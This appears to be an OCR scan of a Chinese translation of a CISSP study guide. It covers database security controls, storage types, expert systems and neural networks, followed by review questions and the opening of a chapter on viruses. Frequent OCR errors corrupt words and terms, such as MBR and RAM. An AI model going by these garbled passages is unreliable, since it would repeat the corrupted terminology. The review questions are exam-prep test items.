用户的 SQL 语句 。 视图 能够被用 于整理来 自 多 个表的数据、 聚合单独的记录或限制用 户 访问数据库
属性和/或记录的有限子集。
在数据库 中 ， 视图被存储为 SQL 语句 而不是被存储为数据表。 这样可以显著减少所需的数据库
空 间 ， 并且九许视图违反应用 于数据表的规才制也规则。 另一方面， 因 为 DBMS 可能需要通过执，11计
算来确定每条记录特定属性的值， 所以从复杂的视图 中 检索数据的时间要明显长于从表中检索数据
的时间。
因 为视图 非 常灵活， 所以许多 数据库管理员 将视图作为一种安全工具使用 ， 就是九许用 户只与
受 限的视图 文王 ， 而 非 与作为视图基础的原始数据表文互。
1 井发性
并发性或编辑控制是一种预防性的安全机制， 这种机制试图使数据库中存储的数据始终是正确
的， 或者至少使其完整性和可用性受到保护 。 不论数据库是多级的还是单级的， 我们都可以使用这
个特性。 并发性使用 "锁定" 功能允许己授权用 户更改数据， 但是同时拒绝其他用户访问 以查看或
更改数据元素 。 更改完成后， " 解锁" 功能就允许其他用户执行 自 己所需的访问操作。 在某些实例中，
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CISSP 官方学习指南(第 7 版)
管理员会使用具有审计的并发性机制来跟踪文档和/或宇段的变化。 检查己记录的数据时， 并发性就
成为一种检测性控制。
2. 其他安全机制
使用 DBMS 时 ， 管理员可以部署其他一些安全机制 。 这些特性的实现相对简单， 并且在业内是
常见的。 例如， 与语义完整性相关的机制就是 DBMS 的一种常见安全特性。 语义完整性确保用户 的
动作不会违反任何结构上的规则 。 此外， 还检查存储的所有数据类型都位于有效的域范围内， 确保
只 存在逻辑值， 并且确认系统遵守任何和所有的 唯一性约束 。
管理员可能通过时间和 日 期标记来维护数据的完整性和可用性。 时间和 日 期标记常常出现在分
布式数据库系统中。 在所有更改事务上添加时间标记， 然后将这些更改分发或复制至其他数据库成
员时， 所有变化会应用于所有成员 ， 但是需要按照正确的时间顺序实现变化。
DBMS 的另一个常见安全特性是在数据库内能够细粒度地控制对象， 这也改善了安全控制。 内
容相关的访问控制就是细粒度对象控制的一个示例。 内容相关的访问控制重点基于要访 问对象的 内
容或有效载荷进行控制。 因为必须在逐个访问对象的基础上做出 决定， 所以内容相关的访问控制增
加了处理开销。 细粒度控制的另一种形式是单元抑制。 单元抑制的概念是对单独的数据库字段或单
元隐藏或强加更安全的约束。
因为名字类似， 所以上下文相关的访问控制与内容相关的访问控制经常被放在一起讨论。 上下
文相关的访问控制通过宏观评估来制定访问控制决策。 上下文相关的访问控制 的重要因素是每个对
象、 数据包或宇段如何与总体的活动或通信相联系。 任何单个元素本身看上去无关紧要， 但是在较
大的上下文环境中就会表露出 是有益的还是有害的 。
管理员 可以使用数据库分区技术来防止聚合、 推理和污染漏洞。 数据库分区是将单个数据库分
解为多个部分的过程， 其中 每个部分都具有唯一的和不 同 的安全级别 或内 容类型 。
在 同一个关系数据库表中 ， 两行或更多行具有相同的主键元素， 但是包含在不同分类级别使用
的不同数据时， 就会出现多实伊U(polyinstantiation)。 多实例常常被用作针对某些推理攻击类型的防范
措施(稍后将讨论推理攻击)。
以一个数据库表中包含巡逻的不同海军舰艇的位置为例。 正常情况下， 这个数据库包含每艘舰
艇的准确位置， 这属于秘密级信息。 然而， 一艘特殊的舰艇 UpToNoGood 正在暗中执行到达绝密位
置的任务。 海军指挥官不希望任何人知道这艘舰艇未处于正常的巡逻状态。 如果数据库管理员简单
地将 UpToNoGood 的位置分类更改为绝密， 那么属于秘密级的用户在不能查询这艘舰艇的位置时就
会知道发生了 一些不正常的事情。 然而， 如果应用 了 多实例方法， 那么表中可能会插入两个记录。
第一条属于绝密级分类， 将反映这艘自见艇的实际位置， 并且只对属于绝密安全级的用户 可用 。 第二
条记录属于秘密级， 将指出舰艇正在进行例行巡逻， 并且向属于秘密安全级的用户 显示这一内容。
最后， 管理员可 以利用噪声和干扰在 DBMS 中插入错误的或欺骗的数据， 从而重定向或阻挠信
息机密性攻击。 这是一个被称为噪声和扰动的概念。 在使用此技术时 ， 必须非常小心， 确保插入数
据库 中 的噪声不会影响业务操作 。
20.2.4 ODBC
开放数据库互连(ODBC)是一种数据库特性， 也就是在不必分别针对交互的每种数据库类型直接
进行编程的情况下， 允许应用程序与不同数据库类型通信。 ODBC 扮演了应用程序和后端数据库驱
动程序之间代理的角色， 使应用程序编程人员能够 自 由创建解决方案， 而不必考虑后端的数据库系
统 。 图 20.9 说 明 了 ODBC 与 DBMS 之 间 的关系 。
口
口
20.3 存储数据和信息
第 20 章 软件开发安全
数据库管理系统己经帮助加强了数据的力量， 并且获得了对可以访问数据的人和可以对数据执
行的操作所进行的少量控制。 然而， 安全专家必须记住的是， DBMS 安全性只适用于通过传统的 "前
门 " 渠道访问信息。 数据还通过计算机的存储资源(内存和物理介质)进行处理。 为了 确保这些基本
的资源免受安全漏洞的威胁， 就必须采取预防措施。 毕竟， 我们永远都不会将大量的时间和金钱花
费在只保护前 门 而令后 门 大开 ， 是吗?
20.3. 1 存储器的类型
现代计算机系统使用几种类型的存储器来保存系统和用户 的数据。为了满足组织对计算的要求，
系 统要在各种存储类型间进行平衡处理 。 目 前常用 的存储类型包括:
• 主(或实际)存储器由系统的 CPU 可 以直接访问 的主要存储资源组成。 主存储器通常由易失
性的随机访问存储器(也仙。组成， 并且一般是系统可 以使用 的性能最高的存储资源。
• 辅助存储器由 许多较廉价的、 非易失性的、 可供系统长期使用 的存储资源组成。 典型的辅
助存储资源包括磁性的和光学的介质 ， 如磁带、 磁盘、 硬盘和 CD!DVD 存储器。
• 虚拟内存准许系统利用辅助存储器模拟额外的主存储器资源。 例如， 系统缺少 昂贵的孔仙i{，
可能会利用硬盘的一部分作为直接 CPU 寻址使用 。
• 虚拟存储器准许系统利用主存储器模拟辅助存储器的资源。 虚拟存储器的最常见例子是作
为辅助存储器提供给操作系统的 " 良仙4磁盘" (但是实际上在易失性 RAM 中实现)。 这为
多 种应用程序 的使用提供了 极快的文件系统， 但是没有提供恢复能力 。
• 随机访问存储器准许操作系统请求介质上任意位置的 内 容。 忆咄4和硬盘都是随机访问存储
器的例子。
• 顺序访问存储器需要从头到指定地址对整个介质进行扫描。 磁带是常见的顺序访问存储器
的例子。
• 易 失性存储器在资源断电时会丢失上面的存储内容。 RAM 是最常见的易失性存储器类型。
• 非易失性存储器不依赖于电源的供电来维持存储内容。磁性的/光学的介质和非易 失性 RAM
例VRAM)都是非易 失性存储器的例子。
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CISSP 官方学习指南(第 7 版)
20.3.2 存储器威胁
信息安全专家应当意识到两种针对数据存储系统的威胁。 第一种威胁是无论正在使用哪种类型
的存储器， 都存在对存储器资源的非法访问。 如果管理员不实行恰当的文件系统访问控制， 那么入
侵者就可能通过浏览文件系统偶然发现敏感的数据。 在更加敏感的环境中 ， 管理员还应当防止绕过
操作系统控制直接访问物理存储介质 以检索数据的攻击行为。 使用加密文件系统是最好的办法， 只
有通过主操作系统才可以被访问。 此外， 在多级安全性环境中运作的系统应当通过提供恰当的控制
来确保共享内存和存储器资源时提供故障安全(鱼il咽岛)控制， 从而使某个分类级别的数据对于较低
分类级别 的使用者来说是不可读取的。
隐蔽通道攻击是对存储器资源的第二种主要威胁。 隐敲存储通道准许通过直接或间接地操纵共
享存储介质 ， 在两个分类级别之间传输敏感的数据。 这可能与 向不经意间共享的 内存或物理存储器
的一部分写入敏感数据一样简单。 更复杂的隐蔽存储通道可能操纵磁盘的可用空间或文件大小， 在
安全级别之间偷偷地传送信息。 要了解隐蔽通道分析的更多信息， 请参看第8章"安全模型的原则、
设计和能力 "。
20.4 理解基于知识的 系统
自 计算机问世以来， 工程师和科学家们一直致力于开发能够执行常规操作的系统， 这些操作将
会耗费人力和消耗大量时间。 这方面的大部分成就都集中于减轻计算密集型任务的负担。 然而， 研
究人员也在开发 " 人工智能" 系统方面取得 了 巨大进步， 可 以(在一定程度上升莫拟纯粹的人类推理
能力 。
接下来的部分研究了两种类型的 以知识为基础的人工智能系统: 专家系统和神经网络。 我们也
将看到它们潜在的计算机安全问题。
20.4.1 专家系统
专家系统试图具体化人类在某个特殊学科累积的知识， 并且以一致的方式将它们应用于将来的
决定。 一些研究己经表明: 在正确开发和实现专家系统之后 ， 专家系统常常能够做出 比人类的常规
决策更好的决定 。 每个专家系统都有两个主要的组件 : 知识库和推理引 擎。
知识库包含专家系统己知的规则 。 知识库试图 以一系列 " ifì'then" 语句对人类专家的知识进行
编码。 让我们考虑一个简单的专家系统， 它被设计用于帮助房主们决定在面临咫风的威胁时是否应
该撤离某个区域。 知识库可能包含下列一些语句(这些语句 只 是一些例子):
• 如果用风是 4 级或更高级别 的风暴， 那 么洪水一般会达到海拔 20 英尺高 。
• 如果用风的风速超过了每小时 120 英里， 那么木质结构的建筑物将被毁坏。
• 如果是在用风季节末期 ， 那么咫风在到达海岸时会变得更强。
在实际的专家系统中 ， 知识库将包合成百上千个如上所示的断言。
专家系统的另一个主要组件是推理引擎， 它对知识库中 的信息进行分析， 从而得到正确的决策。
专家系统用户 使用一些种类的用户 接口将当前环境的具体内容提供给推理引擎， 并且推理引擎使用
第 20 章 软件开发安全
逻辑推理和模糊逻辑技术的组合， 基于过去的经验做出结论。 仍然以咫风为例， 用 户可能通知专家
系统， 4 级咫风己经接近海岸， 风速为平均每小时 140 英里。 推理系统将随后分析知识库中 的信息，
并且基于 以前的知识做出撤离建议。
专家系统并非万无一失， 它们的优劣完全取决于知识库中的数据和推理引擎实施的决策制订算
法。 不过， 专家系统在紧迫的情况下有一个主要的优点， 它们的决策不涉及情绪影响。 专家系统可
能在一些情况中扮演重要的角色， 例如紧急事件、 股票交易和其他有时因情绪因素妨碍做出合理决
策的情况。 由 于这些原因 ， 很多贷款机构现在采用专家系统来做出信用决策， 而不是相信贷款主管
所说的话 "好， 虽然 Jim 一直没有准时付账 ， 但是他看起来是个相 当 不锚的人 。 "
模糊逻辑
前面提到 ， 推理引 擎通常使用 一种被称为模糊逻辑的技术。 与 利用 "黑 白 " 数据归类的代数方
式或集合论的严格数学相比 ， 这种技术的设计史接近于人类的思维模式。 通过替换使用模糊的界限，
模糊逻辑九许算法思考控制人类思维的 "灰皮梯度" 。 专家系统通过下列 4 个步骤或阶段使用模糊
逻辑: 模糊化、 推理、 合成以及逆模糊化。
以确定某个 Web 站点是否能够经受拒绝服务攻击的任务为例 。 传统的数学技术可能创建基本的
规则 ， 例如 "如果每秒钟的连接超过 1 000 次， 那么就在遭受攻击" 。 另 一方面， 模糊逻辑可能定义
一条模糊的界线: 每秒钟的连接为 1 000 次表示受攻击的几率为 80%， 每秒钟的连接为 1 0000 次表
示受攻击的几率为 95%， 而每秒钟的连接为 100 次则表示受攻击的几率为 5%。 对这些可能性的解
释则 留给后面的分析师来做。
20.4.2 神经网络
在神经网络中 ， 计算单元链被用来尝试模仿人脑的生物学推理过程。 在专家系统中， 一系列规
则被存储在知识库中 ， 而在神经网络中则建立了互相插入和最终合计生成预期输出结果的计算决策
长链。
需要记住的是， 所设计出 的神经系统要想达到实际的人类推理能力还有待时 日 。 尽管如此， 神
经网络仍然在推动人工智能领域超越当前的状态 ， 在这方面显示出了 巨大的潜力。 神经网络的优点
包括线型、 输入-输出映射和 自 适应性。 在用于语音识别 、 脸部识别、 天气预报以及关于意识与思考
模型研究的神经网络实现中 ， 这些优点十分明显。
典型的神经网络涉及很多层次的合计， 每一层的合计都需要加权信息以反映在整个决策制定过
程中计算的相对重要性。 针对期待神经网络做出 的每种决策， 这些权值必须是被定制的。 这可以在
培训阶段实现， 在这个阶段， 网络被提供正确决策己知的输入信息。 这个算法随后进行这些决策的
逆向工作， 从而为计算链中 的每个节点确定正确的权值。 这种活动被称为 De1ta 规则或学习规则。
通过使用 Delta 规则， 神经网络就能够从经验中学习知识 。
20.4.3 决策支持系统
决策支持系统(Decision Support System， DSS)是一种知识型应用 ， 它分析业务数据并且以更容
易做出业务决策的形式提供给用户 。 决策支持系统更多被视为信息型应用而不是操作型应用 。 DSS
常常被知识型员工(例如服务台人员或客户支持人员)和销售服务人员 (例如电话推销员)所使用 。 这种
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CISSP 官方学习指南(第 7 版)
应用可能以图形方式提供信息， 从而链接概念和 内 容并指导操作者。 通常， DSS 得到了 控制某个数
据库的专家系统的支持。
20.4.4 安全性应用
专家系统和神经网络都在计算机安全领域具有很多应用。 这些系统提供的一个主要优点是它们
快速做出 一致决策的能力。 计算机安全性方面的一个主要问题是， 系统管理员没有能力为了寻找异
常而对大量的 日 志记录和审计跟踪数据进行一致的 、 彻底的分析。 这似乎是天生的一对矛盾 !
对于计算机安全领域来说， 这种技术的一个成功应用是 Philip Porras 及其团队在 S阳 国际信息
和计算科学系统设计实验室开发的下一代入侵检测专家系统(NIDES)。 这个系统提供了一个推理引
擎和知识库， 它从网络的多种审计 日 志中提取信息， 并且在单个用户 的操作与他们的标准应用描述
不同时向安全管理员 发出通知。
20.5 本章小结
数据很快成为许多组织拥有的最有价值的资源。 因此， 信息安全从业人员 了 解保护数据 自身以
及有助于处理数据的应用程序和系统的必要性是十分重要的。 在每个充分了解相关技术的组织中 ，
都必须实现针对 恶意代码、 数据库脆弱性和系统/应用 程序开发缺陷 的防护。
恶意代码对象给组织的计算资源带来威胁。 在非分布式环境中 ， 这样的威胁包括病毒、 逻辑炸
弹、 特洛伊木马和蠕虫。
此时， 你一定认识到了为这些有价值的信息资源设置充分的访问控制和审计跟踪的重要性。 数
据库安全性是一个快速增长的领域， 如果数据库在安全责任中扮演重要的角色， 那么我们就应当花
一些时间请教数据库管理员并学习 相 关课程 、 书籍和基础理论。 这是一项颇有价值的投资 。
最后， 在系统和应用程序的开发过程中 ， 为了确保这些过程的最终产品与安全环境中的操作兼
容， 可 以使用 多种控制手段。 这些控制手段包括进程隔离、 硬件划分抽象和服务等级协议。 始终应
当在所有开发项 目 的早期计划编制阶段引入安全性， 并且在产品 的设计、 开发、 部署和维护阶段持
续进行监控。
20.6 考试要点
解释关系数据库管理系统(RDBMS)的基本体系结构。 了解关系数据库的结构。 能够解释表(关
系)、 行(记录/元组)和列(宇w.属性)的功能。 知道如何在表和各种键类型的角色间定义关系。 描述由
聚合和推理形成的数据库安全威胁。
知道各种存储器类型。 解释主存储器、 虚拟存储器、 辅助存储器和虚拟存储器、 随机访问存储
器和顺序访 问存储器 、 易 失性存储器和非 易 失性存储器之间的区别。
解释专家系统和神经网络如何工作。 专家系统包括两个主要的组件: 包含一系列 " if7也en" 规
则 的知识库; 使用知识库信息得到其他数据的推理引擎。 神经网络模拟人类大脑的运作 ， 在有限的
范围内通过安排一系列的分层计算来解决问题。 神经网络需要针对特定的 问题进行大量的训练， 才
第 20 章 软件开发安全
能够提供解决方案。
理解系统开发的模型。 瀑布模型描述了一个连续的开发过程， 导致最终产 品的开发。 如果发现
错误， 那么开发人员 只 能回退一个阶段。 螺旋模型反复使用 了 几个瀑布模型， 从而生成许多详细说
明 的和完全测试的原型。 敏捷开发模型将重点放在客户 的需求上， 并'快速开发新的功能， 以迭代的
方式满足这些需求。
描述软件开发成熟度模型。 知道成熟度模型能帮助组织通过实施从临时的、 混乱的过程到成熟
的、有纪律的软件开发过程的进化路径， 从而提高软件开发过程的成熟度和质量。 能够描述 sw-c岛位4
和 IDEAL 模型。
理解变更和配置管理的重要性。 知道变更控制的三个基本组件一一请求控制、 变更控制、 发布
控制 ， 以及它们对安全的贡献。 解释配置管理如何控制在组织中 使用 的软件版本。
理解测试的重要性。 软件测试应当被设计为软件开发过程的一部分。 软件测试应当作为改善设
计 、 开发和产品 化过程的 管理工具。
20.7 书面实验室
1 . 数据库表中 的主键的主要 目 的是什么 ?
2. 什么 是多实例 ?
3. 解释应用程序代码的静态和动态分析的区别?
4 在瀑布模型 中 ， 当 发现开发缺 陷时允许回退多远?
20.8 复 习 题
1 . 以下哪个选项不属于 DevOps 模型的三个组件之一 ?
A. 信 息安全
B. 软件开发
c. 质 量保证
D. IT 运维
2. Bob 正在开发一个应用软件， 该应用软件有一个区域， 用户可以在这里输入日期。 他想要确
保用 户 提供 的值是准确 的 日期， 以防止安全问题。 下面哪一项技术应该是 Bob 要采用 的 ?
A. 多实例
B. 输入验证
c. 污 染
D. 筛选
3 . 变更管理过程中 的哪一部分允许开发人员优先考虑任务 ?
A. 发布控制
B. 配置控制
c. 请求控制
D. 变更审计
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616
CISSP 官方学习指南(第 7 版)
4. 下列哪一种故障失效管理方法将系统置于 比较高层次的安全状态 ?
人 故障开放
B. 故障减轻
C. 故障保护
D. 故障清除
5. 什么软件开发模型使用 7 阶段的方法和一个反馈回路， 允许返回到上一步?
A. Boyce-Codd
B. 瀑布型模型
C. 螺旋型模型
D. 敏捷开发
6. 什么形式的访 问控制主要与宇段存储的数据有关 ?
A. 内 容相 关
B. 上下文相关
C. ì吾义完整性机制
D 扰动
7. 以下哪一种键被用来执行数据库表之间 的完整性引 用 ?
A. 候选键
B. 主键
C. 外键
D. 超级键
8. Richard认为， 一个数据库用户滥用其权限进行查询， 并结合大量记录中的数据来获取公司整
体业务的趋势信息 。 该数据库用户利用 的过程是什么 ?
A. 推理
B. 污染
C. 多 实例
D. 聚合
9. 什么样的数据库技术可以阻止 " 未授权用户通过正常无权访问信息的提示来确定信息级别"
这样的事情发生?
A. 推理
B. 操纵
C. 多实例
D. 聚合
1 0. 以 下哪一项不是敏捷开发的原则 ?
A. 通过早期和持续地交付来满足用户需求
B. 业务人员和开发者一起工作
C. 持续关注卓越的技术
D. 在其他需求之上有限地考虑安全
11. 什么样的信 息被用来形成专家系统的决策过程的基础?
A 一系列加权分层计算
B. 结合大量的人类专家的输入， 根据过去的表现加权
第 20 章 软件开发安全
C 一系列被编入知识库 的 " i:fìthen " 规则
D. 一个模拟人类思维所使用 的推理过程的生物决策过程
12. 在软件成熟度模型 SW-CMM 中 ， 组织达到哪个阶段就可以使用定量的方法获得组织开发
过程的详细理解?
A. 初始化
B 可重复
C. 可定义
D. 可管理
13. 以下哪个选项可以作为应用程序和数据库之间的代理， 以支持交互和简化程序员 的工作?
A. SDLC
B. ODBC
C. DSS
D. 抽 象
14. 在哪一种软件测试类型 中 ， 测试人员可 以访 问底层的源代码?
A. 静态测试
B. 动态测试
C. 跨站脚本测 试
D. 黑盒测试
1 5 哪个类型的 图表提供了 一个时间表， 有助于计划 、 协调和跟踪项 目 任务的 图形说明 ?
A. 甘特图
B. 维恩 图
C. 柱状图
D. RERT
1 6. 当 数据从一个较高分类级别到达一个较低分类级别时， 数据库会发生以下哪类安全风险?
A. 聚合
B. 推理
C. 污染
D. 多 实例
1 7. 什么数据库安全技术涉及创建两行或更多行记录， 它们具有看起来相同的主键， 这些主键
为用户包含不同安全许可的不 同数据 ?
A. 多实例
B. 单元抑制
C. 聚合
D. 视 图
1 8. 以 下哪一项不是变更管理过程的一部分 ?
A 请求控制
B 发布控制
c. 配置审计
D. 变更控制
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CISSP 官方学习指南(第 7 版)
1 9. 什么事务管理原则确保两个事务在操作相 同 的数据时不会相互干扰?
A. 原子性
B . 一致性
C. 隔 离性
D. 持久性
20. Tom 建立了一个数据库表， 这个表包含名字、 电话号码、 业务相关的客户 D。 这个表还包
含 30 个客户 的信息， 请问这个表 的度是多少 ?
A. 2
B. 3
C. 30
D 未定义
第 2 1 �二
阜E
恶意代码与应用攻击
本章中覆盖的 CISSP 考试大纲包含 :
3. 安全工程
• E. 评估和缓解安全架构、 设计和解决方案组件中 的漏洞
• F. 评估和缓解基于 Web 系 统(例如 ， x1在L、 OWASP)的漏洞
8. 软件开发安全
• B. 在开发环境中 实施安全控制
软件环境中 的安全
安全弱点和源代码级别 的漏洞(例如 ， 缓冲 区溢出、 特权扩大、 输入/输出 验证)
在前面的章节中， 你 已经学习 了很多能帮助安全从业者开发针对恶意个体进行保护的常规安全
原则、 策略处理机制 。 本章将深入探讨这个领域的管理员在日常工作中所面对的一些具体威胁。
这些内容不仅对于 CISSP 考试很关键， 而且还是计算机安全专业人员为了有效开展工作而必须
理解的一些最基本信息。 本章首先介绍恶意代码对象带来的威胁， 这些恶意代码对象包括病毒、 蠕
虫、 逻辑炸弹和特洛伊木马。 接着， 我们将研究其他一些安全性应用 ， 黑客会利用它们试图获取对
系统的未授权访问或者阻止合法用 户 获得这样的访 问 。
21 .1 恶意代码
恶意代码对象包括广泛的代码形式的计算机安全威胁， 这些威胁利用各种网络、 操作系统、 软
件和物理安全漏洞对计算机系统散播恶意载荷。 某些恶意代码对象(例如， 计算机病毒和特洛伊木马)
依靠用户对计算机的不当使用在系统之间成功地传播。 其他一些恶意代码对象(例如， 蠕虫)则依靠
自 身 的力 量在脆弱 的系统间快速传播。
所有计算机安全从业人员都必须熟悉由各种恶意代码带来的风险， 这样才能够采取适当的对策
来保护所关注的系统， 以及在系统受到破坏时做出适当的响应。
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CISSP 官方学习指南(第 7 版)
2 1 .1.1 恶意代码的 来源
恶意代码源自 哪里 ? 在计算机安全的早期 ， 恶意代码的编写者都是相当有经验(尽管误入歧途)
的软件开发人员 ， 他们会为 自 己精心构思的、 富有创意的恶意代码技术感到骄傲。 的确， 他们揭露
了流行软件包和操作系统中的安全漏洞， 从而提高了人们对计算机安全性的意识， 这确实起到了 一
点有用 的作用 。 对于这种类型的代码编写者， 可 以在本章后面的 " RTM 和网络蠕虫 " 补充内容中找
到示例 。
如今这个时代出现了一些脚本小子， 他们并不理解安全漏洞内在的技术， 但是从互联网上下载
了 随时可用的软件(或脚本程序)， 并且利用这些软件对远程系统进行恶意攻击。 这种趋势导致了 一
种新的病毒制造软件 ， 它准许任何具有极少技术知识的人制造病毒并在互联网上传播。 到现在为止 ，
大量的病毒被反病毒机构证明属于这种类型。 这些业余的恶意代码开发人员常常只是在尝试他们所
下载的新工具， 或者试图为一两个对于制造麻烦 。 遗憾的是， 这些恶意代码有时会'快速传播， 并且
通常会对互联网用户 带来很多麻烦 。
此外， 脚本小子使用的工具可以免费提供给那些犯罪意图更加危险的人。 事实上， 国 际组织犯
罪集团在恶意软件扩散中发挥了作用 。 这些犯罪分子都在执法机制薄弱的国家， 使用恶意软件窃取
来 自世界各地的t戈财和人们的身份信息， 特别是美国居民的 。 事实上， 宙斯特洛伊木马被广泛认为
是东欧有组织犯罪团伙的产品， 试图感染尽可能多的系统， 并记录击键信息和收获网上银行密码。
宙斯木马爆发始于 2007 年 ， 至今依然横行 。 这只 是恶意软件发展趋势的一个例子。
21 . 1 .2 病毒
计算机病毒可能是最早的令安全管理员苦恼的恶意代码形式。 实际上， 病毒如今相当普遍， 病
毒大爆发会引起大众媒体的关注， 并且在一般的计算机用户 中引起轻度恐慌。 根据 Symantec 公司(一
家主要的反病毒软件供应商)的报告，在2010 年大约有 2 亿 8600 万种病毒的变形在全球网络中传播，
并且这种趋势在继续。 一些消息来源表明， 每一天大概有 200 000 个新的恶意软件样本出现在互联
网上。 每天都会有数十万的病毒变种对大意的计算机用户进行着攻击。 许多病毒都带有恶意有效载
荷 ， 它们导致的破坏包括从屏幕上 自 始至终显示亵读信息， 直至导致本地硬盘上的所有存储数据被
完全破坏 。
与生物病毒一样， 计算机病毒具有两个主要的功能: 传播和破坏。 那些制造病毒的卑劣家伙精
心地设计代码以创新的方法执行这些功能， 他们希望利用这些方法使病毒可以躲避检查并绕过日 益
完善的反病毒技术。 可 以这样说， 在病毒编写者和反病毒专家之间正在展开竞赛， 每一方都希望开
发出的技术高出对手一筹。 传播功能定义了病毒如何在系统之间扩散， 从而感染激发每一台计算机。
病毒的有效载荷通过执行病毒作者预谋的恶意行为来释放它的破坏力。 这些都能产生任何针对系统
或数据的机密性、 完整性或可用性的负面影响 。
1 . 病毒传播技术
根据定义， 病毒必须包含能够使其在系统之间进行传播的技术， 有时会借助于无疑心的计算机
用户通过交换磁盘、 共享网络资源、 发送电子邮件或其他手段试图共享数据的活动。 一旦病毒到达
新的系统， 它们会使用某种传播技术来感染新的受害者以及扩展其触及范围。 接下来， 我们将介绍
第 21 章 恶意代码与应用攻击
4 种常见的传播技术 : 主引导记录感染、 文件感染、 宏感染和文件注入。
主引导记录病毒 主 引 导记录病毒。1aster Boot Record， 孔但R)是己知的最早的病毒感染形式。
这些病毒攻击h在BR一一可启动介质(例如 ， 硬盘、 软盘或 CDIDVD)上计算机用于在启动过程中加载
操作系统的部分。 由 于1113R 非常小(通常只有 512 宇节)， 因此它不能包含实现病毒传播和破坏功能
所需的所有代码。 为 了避开空间的限制， 队在BR 病毒将主要的代码存储在存储介质 的其他部分。 在
系统读取受感染的 孔但R 时 ， 病毒会引 导系统读取并且执行在另一个地方存储的代码， 从而将全部
的病毒加载到 内存中 ， 并且可能触发病毒有效载荷的传播。
l 引 导扇区和主引导记录
你经常看到 ， "引导扇 区" 和 "主引 导记录" 被用 于描述刷诸设备上用 来加载操作系 统和攻击这
个加载过程的 病毒类型 的部分， 这在技术上是不正确 的。 1113R 是一个单独的磁盘扇 区 ， 通常是在
启动过程的初始阶段读取的介质的第一个扇 区 。 b但R 决定介质的哪个部分包含操作 系统， 并且随
后指导 系 统读取对应部分的 引 导扇区， 以使力口载操作 系 统。
病毒可能攻击 b但R 和引导扇区， 结果实质上类似。 孔在BR 病毒将系统重走向到被感染的 引 导扇
区 ， 在从合法引 导扇 区加载操作系统之前将病毒加载到 内存中。 引 导扇 区病毒实 际上感染合法的 引
导扇 区 ， 并且在操作 系 统加载过程中被加载到 内存中。
大多数1113副市毒在系统之间通过用户不经意地共享被感染的介质进行传播。 如果在启动过程中
被感染的介质在驱动器中， 那么 目 标系统就会读取被感染的1113R、 将病毒加载到内存中、 感染 目 标
系 统硬盘的1113R， 并且还会感染其他计算机。
文件程序感染病毒 许多病毒感染不同类型的可执行文件， 并且在操作系统试 图执行这些文件
时被触发。 对于基于 Windows 的系统来说， 可执行文件以扩展名.阻e 和.com 为后缀。 文件程序感染
病毒的传播程序可能只是对可执行程序进行了 少许改动 ， 从而植入了病毒需要复制并毁坏系统的技
术。 在某些情况下， 病毒可能实际上用被感染的版本替换了整个文件。 标准的文件程序感染病毒没
有使用障眼法技术， 例如隐形或加密(参见本章稍后的 " 病毒技术 " 部分)， 通过比较感染前后的文
件特性(如大小和修改 日 期)或散列值， 常常可以很容易地检查出 这种病毒 。 本章后面的 " 反病毒机
制 " 部分会介绍与这些技术相关的 技术细节 。
文件程序感染病毒的一个变种是同伴病毒。 这种病毒是自包含的可执行文件， 利用与合法的操
作系统文件类似但又稍有不同的文件名来躲避检查。 同伴病毒依靠基于 Wmdows 的操作系统在执行
程序文件时关联在命令上的默认文件扩展名(.com、 .exe 和.bat， 并且按照这个顺序)哇行操作。 例如 ，
如果在硬盘上有一个名为 game.e峭 的�Æ)芋，那么 同伴病毒可能会使用名 字 game. com。 如果你随后打
开一个命令行工具并简单地键入 "game"， 那么操作系统将执行这个病毒文件 game.∞m， 而不是实
际要执行的文件 game.exe。 对于在命令行工具下执行文件时要避免快捷方式并且使用 具体的文件名
来说， 远的确是一个很好的理由。
宏病毒 许多常用的软件应用手白字为了协助重复任务的 自动执行而实现了某些脚本功能。 这些
功能常常使用简单却有效的编程语言， 例如 Visual Basic for Applications(VBA)。 虽然宏的确为计算
机用户 提供 了 巨大的提高生产率的机会， 但是它们也将系统暴露给了 另一种感染手段一一宏病毒。
宏病毒最早出现在 20 世纪 90 年代中期， 它采用拙劣的技术感染流行的 Mαosoft Word 环境中
生成的文档 。 虽然宏病毒相对简单， 但是由于反病毒机构没有预见到， 反病毒软件没有提供对它们
的任何防护， 因此这些病毒得到了快速传播。 宏病毒很快就变得越来越普遍， 供应商匆忙地修改他
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CISSP 官方学 习指南(第 7 版)
们的反病毒平台， 使之能够对应用文档进行宏病毒扫描。 1 999 年 ， Melissa 病毒通过 Word 文档传播，
利用 Microsoft Outlook 中 的安全漏洞进行复制。 在 2000 年初， 臭名昭著的 1 Love You 病毒很快步其
后尘， 也利用相似的漏洞进行传播。
警告 :
因 为很容易采用现代生产性应 用程序使用 的脚本语言(例如， VBA)编写千戈旦鸣， 所以宏病毒会大
量传播。
在 20 世纪后期出现了一系列宏病毒之后， 生产力软件开发人员对宏开发环境进行了 重大改变，
限制 了 不受信任的宏在没有明确用户许可 的情况下运行的能力。 结果就是导致宏病毒的数量急剧
减少 。
服务注入病毒 最近爆发的恶意代码使用另 一种技术感染系统和逃脱检测一一将自 己注入到操
作系统的可信运行进程中 ， 如 svchost.exe、 winlogin.exe 和 explorer.exeo 通过成功地破坏这些受信进
程， 恶意代码能够绕过主机上运行的任何防病毒软件的检测。 保护系统免受服务注入的最好技术之
→是确保允许浏览 Web 内 容的所有软件(如浏览器、 媒体播放器、 帮助应用程序)接收当前的安全
补丁。
2. 容易受到病毒攻击的平台
如 同大多数宏病毒感染那些运行流行的 Microsoft O:ffice 应用程序套件的系统一样， 大多数计算
机病毒被设计成破坏在世界上最流行的操作系统 Microsoft Windows 上运行的活动。 据估计， 今天世
界上只有不到百分之一的病毒被设计为影响其他操作系统， 例如 Unix 和 Mac OS 。
首先， 实际上己经没有单一的 "Unix" 操作系统。 相反， 一系列很相似的操作系统以类似的方
式实现了 与 Unix 相同 的功能， 并且由 大量的开发人员独立设计。 大规模企业开发的软件在与无数免
费的由公众随意开发的 Linux 操作系统一直在进行竞争。 Unix 版本的严格编号以及它们在完全不同
的 内核(操作系统的核心代码)上进行开发的事实 ， 使得难以编写病毒， 从而对 Unix 系统产生大范围
的影响 。
也就是说， Macintosh 和 Unix 用户不应该安于现状。 只 有几个病毒对他们的系统带来威胁， 这
并不意味着其中 的病毒不能对他们的系统随时产生影响。任何人都有责任确保计算机系统的安全性，
并应该实施适当 的反病毒机制 以确保其资源的持续安全。
3. 反病毒机制
今天， 几乎每台工作中 的台式计算机都运行着某种反病毒软件包。 流行的计算机反病毒软件包
括微软的 Security Essentials、 McAfee 的 VlfUsScan 和 Norton 的 AntiVIms， 但是市场上还存在其他很
